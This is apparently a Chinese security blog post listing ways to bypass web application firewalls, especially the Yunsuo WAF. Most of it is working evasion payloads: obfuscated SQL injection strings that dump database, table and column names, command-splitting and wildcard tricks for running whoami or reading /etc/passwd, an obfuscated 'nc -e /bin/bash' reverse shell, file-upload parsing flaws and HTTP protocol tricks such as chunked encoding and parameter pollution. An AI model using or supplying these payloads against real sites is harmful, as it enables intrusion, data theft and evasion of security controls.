每日一洞 | waf云锁绕过
每日一洞 | waf云锁绕过
文章源自:酒仙桥六号部队公众号
前言:前一阵子微步面试恰巧有问到过我如何去bypass云锁,可能太紧张了所以只说了一种方法其实在原有的http参数污染的情况下我们还可以去尝试进行一些可接受字符串的整体编码只要后端能够接受。
waf对抗规则绕过
原理:匹配不到恶意语句就不会拦截
1. 对关键字进行不同的编码:
- select * from zzz = select * from %257a%257a%257a //url编码
- 单引号 = %u0027、%u02b9、%u02bc // Unicode编码
- adminuser = 0x61646D696E75736572 // 部分十六进制编码
- 空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码
2.对关键字进行大小写转换
Union select = uNIoN sELecT
通过其他语义相同的关键字替换
- And = &&
- Or = ||
- 等于 = like 或综合<与>判断
- if(a,b,c) = case when(A) then B else C end
- substr(str,1,1) = substr (str) from 1 for 1
- limit 1,1 = limit 1 offset 1
- Union select 1,2 = union select * from ((select 1)A join (select 2)B;
- hex()、bin() = ascii()
- sleep() = benchmark()
- concat_ws() = group_concat()
- mid()、substr() = substring()
- @@user = user()
- @@datadir = datadir()
3.配合windows的特性(可以绕过rce或者命令执行)
- whoami = ((((Whoam""i)))) //利用符号分割字符执行whoami
- whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
- set a=123whoami456 // 为了方便演示这里设置一个变量
echo %a:~3,6% // 取出变量a的第3位开始共计6个字符这里可以验证自己是否有取出想要的字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
4.配合linux的特性(可以绕过rce或者命令执行)
- whoami = w'h'o'a'm"i" //单引号或双引号连接符,需要闭合
- Cat /etc/passwd = cat /?t/??ss** //?,通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符 - Whoami = a=who&&b=ami&&$a$b //当然linux下也可以变量拼接
- cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越, /被拦截
- nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //(127.0.0.1 → 2130706433) //shell反弹也可以配合特性使用
5.配合mysql特性
/**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配
- User() = user//() // 注释符//也可以用于替换空格
- Union select = /95554/Union/test123/select
/!/内敛注释,中间部分继续执行,mysql特有(有些安全产品在防守其他数据库的时候把/*! */里面的数据过滤)
- User() = /!user/123/()/ // /!/内部继续执行
- Union select = /!union//123//!select/ //组合
%0a换行与#单行注释符配合使用。
1.Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句
6.配合过滤代码或者漏洞的本身
关键字被过滤,双写关键字。
- and = anandd //将关键字过滤掉后剩下的
内容组成新的关键字
通过chr()函数变换关键字。
- phpinfo = base_convert(27440799224,10,32) //从10进制转换成32进制
http协议绕过
原理:理解不了恶意语句就不会拦截。
1. Content-Type绕过
有的waf 识别到Content-Type类型为multipart/form-data后,会将它认为是文件上传请求,从而不检测其他种类攻击只检测文件上传,导致被绕过。
- application/x-www-form-urlencoded è multipart/form-data
2. HTTP请求方式绕过
waf在对危险字符进行检测的时候,分别为post请求和get请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。
Ps:云锁/安全狗安装后默认状态对post请求检测力度较小,可通过变换请求方式绕过。
3. 参数污染绕过
由于http协议允许同名参数的存在,同时waf的处理机制对同名参数的处理方式不同,造成“参数污染”。不同的服务器搭配会对传递的参数解析出不同的值。配合waf与中间件对参数解析位置不同,可能绕过waf。
- 提交的参数为:?id=1&id=2&id=exp
- asp.net+iis:id=1,2,exp
- asp+iis:id=1,2,exp
- php+apache:id=exp
4. 解析特性绕过
原理:利用waf于后端服务器的解析不一致。
iis5.0 - 6.0解析漏洞
- .asp --> /xx.asp/xx.jpg //.asp,.asa目录下的文件都解析成asp文件
- .asp --> xx.asp;.jpg //服务器默认不解析;号后面的内容
Iis7.5解析漏洞(php.ini开启fix_pathinfo)
- .php --> /xx.jpg //上传.jpg一句话,访问时后面加上/xx.php
apache解析漏洞
- .php-->/test.php.php123 //从右往左能别的后缀开始解析
nginx解析漏洞(php.ini 开启fix_pathinfo)
- .php --> xxx.jpg%00.php //Nginx < 8.03空字节代码执行漏洞
5.多Content-Disposition绕过
请求包中包含多个Content-Disposition时,中间件与waf取值不同
6.解析兼容性绕过
在http协议中,标准的文件名的形式为filename=”1.php”,但是web容器会在解析协议时做一些兼容,文件上传时,有的waf只按照标准协议去解析,解析不到文件名,从而被绕过。
- filename="test.php filename=test.php filename=‘test.php‘
7.keep-alive(Pipeline)绕过
原理:http请求头部中有Connection这个字段,建立的tcp连接会根据此字段的值来判断是否断开,我们可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过waf。
8. 分块传输绕过
原理:分块编码传输将关键字and,or,select ,union等关键字拆开编码,绕过waf等安全设备的检测,但无法绕过代码本身的检测。
9. 修改编码方式:Charset绕过
原理:大部分的WAF默认用UTF8编码检测,修改编码方式可能会绕过waf,例如设置charset为ibm037。
Waf检测限制绕过
原理:超出waf检测能力部分不会拦截。
参数溢出
原理:通过增加传递得参数数量,达到waf检测上限,超出的参数就可绕过waf了。可绕一些轻量级waf,如phpstudy自带waf。
缓冲区溢出
原理:当服务器可以处理的数据量大于waf时,这种情况可以通过发送大量的垃圾数据将 WAF 溢出,从而绕过waf。
网络结构绕过
原理:不经过安全设备就不会拦截。
源ip绕过
原理:直接对源地址发起攻击,流量不会经过waf,从而成功绕过。
正常访问流量
同网段/ssrf绕过
同理, 因同网段的流量属于局域网,可能不经过waf的检测。通过服务器A自身或B的ssrf漏洞,从网络内部发起攻击流量。
bypass云锁
1.规则绕过
使用%23将后面的内容给注释掉;
使用%0a将后面的内容进行换行,使后面的sql语句逃出注释就能继续行了。遇到关键函数被拦截,就在其中插入注释与换行。
- Payload:test.php?id=1 /!order///%23A%0A//%23A%0A/!by//**/2
- Payload:test.php?id=1 /!UNIon///%23A%0A//%23A%0A/!select///database(),user//()
- Payload:test.php?id=1%20/!UNIon/%23A%0A/!select///database//(),group_concat(table_name)//%23A%0A//%23A%0A/!from///%23A%0Ainformation_schema.tables//%23A%0A//%23A%0Awhere%20table_schema=database//()
- test.php?id=1 /!UNIon/%23A%0A/!select///database//(),group_concat(column_name)//%23A%0A//%23A%0A/!from///%23A%0Ainformation_schema.columns//%23A%0A/**/%23A%0Awhere table_name='users'
2.http协议绕过
既然waf拦截组合,那我们通过分块传输将关键字分块。
首先将请求方式变为post并抓包,修改数据包为分段传输格式。
注意:这里Transfer-Encoding:的值设为x chunked而不是chunked。
构造sql语句判断字段数。
分割union select查询出数据库。
成功爆出表名。